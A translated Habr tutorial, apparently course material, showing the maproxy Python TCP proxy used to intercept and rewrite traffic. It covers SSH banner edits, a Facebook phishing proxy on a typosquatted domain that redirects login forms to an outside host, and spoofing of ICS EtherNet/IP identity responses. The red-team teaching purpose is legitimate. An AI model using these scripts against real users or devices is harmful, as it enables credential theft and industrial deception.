动态处理网络数据

文章的翻译是在课程开始前夕准备的 “渗透测试。 渗透测试实践》.

动态处理网络数据

抽象

各种类型的安全评估,从定期渗透测试和红队操作到黑客 IoT/ICS 设备和 SCADA,都涉及使用二进制网络协议,即本质上拦截和修改客户端和目标之间的网络数据。 嗅探网络流量并不是一项困难的任务,因为我们有 Wireshark、Tcpdump 或 Scapy 等工具,但修改似乎是一项更加劳动密集型的任务,因为我们需要某种接口来读取网络数据、过滤数据、更改数据它几乎实时地将其发送回目标主机。 此外,如果这样的工具能够自动处理多个并行连接并可以使用脚本进行自定义,那就太理想了。

有一天我发现了一个工具叫 maproxy,文档很快就让我明白了 maproxy – 正是我所需要的。 这是一个相当简单、通用且易于配置的 TCP 代理。 我在几个相当复杂的应用程序上测试了这个工具,包括 ICS 设备(生成大量数据包),看看它是否可以处理许多并行连接,并且该工具性能良好。

本文将向您介绍如何使用 maproxy.

查看

工具 maproxy 基于Tornado,一个流行且成熟的Python异步网络框架。

一般来说,它可以以多种模式运行:

  • TCP:TCP – 未加密的 TCP 连接;
  • TCP:SSL и SSL:TCP – 单向加密;
  • SSL:SSL – 双向加密。

它作为一个图书馆出现。 为了快速入门,您可以使用反映主要内容的示例文件 库函数:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

案例 1 – 简单的双向代理

基于 tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

默认情况下, ProxyServer() 有两个参数 - 连接位置和目标端口。 server.listen() 采用一个参数 - 用于侦听传入连接的端口。

执行脚本:

# python tcp2tcp.py

为了运行测试,我们将通过代理脚本连接到本地 SSH 服务器,该脚本监听 2222/tcp 端口并连接到标准端口 22/tcp SSH 服务器:

动态处理网络数据

欢迎横幅通知您我们的示例脚本已成功代理网络流量。

案例2——数据修改

另一个演示脚本 logging_proxy.py 非常适合与网络数据交互。 文件中的注释描述了您可以修改以实现目标的类方法:

动态处理网络数据

最有趣的是这里:

  • on_c2p_done_read – 拦截从客户端到服务器的整个过程中的数据;
  • on_p2s_done_read - 颠倒了。

让我们尝试更改服务器返回给客户端的 SSH 横幅:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

执行脚本:

动态处理网络数据

正如您所看到的,客户端被误导了,因为他的 SSH 服务器名称已更改为 «DumnySSH».

动态处理网络数据

案例3——简单的钓鱼网页

使用此工具的方法有无数种。 这次让我们关注红队运营方面更实际的事情。 我们来模仿一下登陆页面 m.facebook.com 并使用故意拼写错误的自定义域,例如, m.facebok.com。 出于演示目的,我们假设该域名是由我们注册的。

我们将与受害者代理建立未加密的网络连接,并将 SSL 流传输至 Facebook 服务器(31.13.81.36)。 为了使这个示例正常工作,我们需要替换 HTTP 主机标头并注入正确的主机名,并且我们还将禁用响应压缩,以便我们可以轻松访问内容。 最终我们将替换 HTML 表单,以便将登录凭据发送给我们而不是 Facebook 的服务器:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/zh-CN/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

概括如下:

动态处理网络数据

正如您所看到的,我们成功地替换了原始站点。

案例 4 – 移植以太网/IP

我从事工业设备和软件 (ICS/SCADA) 工作已经有一段时间了,例如可编程控制器 (PLC)、I/O 模块、驱动器、继电器、梯形图编程环境等等。 这个案例适合那些喜欢工业产品的人。 破解此类解决方案涉及积极使用网络协议。 在下面的示例中,我想展示如何修改 ICS/SCADA 网络流量。

为此,您需要以下内容:

  • 网络嗅探器,例如Wireshark;
  • 以太网/IP或只是SIP设备,您可以使用Shodan服务找到它;
  • 我们的脚本基于 maproxy.

首先,让我们看看 CIP(通用工业协议)的典型识别响应是什么样的:

动态处理网络数据

设备识别是使用以太网/IP 协议完成的,该协议是工业以太网协议的增强版本,封装了 CIP 等控制协议。 我们将更改屏幕截图中可见的突出显示的 ID 名称 “用于以太网的 NI-IndComm” 使用我们的代理脚本。 我们可以重用该脚本 logging_proxy.py 并类似地修改类方法 on_p2s_done_read,因为我们希望在客户端上显示不同的身份名称。

代码:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

本质上,我们两次请求设备识别,第二次响应是原始响应,第一次响应是动态修改的。

和最后一个

在我看来 maproxy 一个方便简单的工具,也是用Python编写的,所以我相信你也可以从使用它中受益。 当然,还有更复杂的工具用于处理和修改网络数据,但它们也需要更多的关注,并且通常是针对特定用例创建的,例如 Muraena, Modlishka или 邪恶的吉克斯 对于类似于第三种的情况,或者 烤面包片 对于最后一种情况。 无论如何,在帮助下 maproxy 您可以快速实现拦截网络数据的想法,因为示例脚本非常清晰。

测试 Windows AD 中的身份验证机制

来源: habr.com

添加评论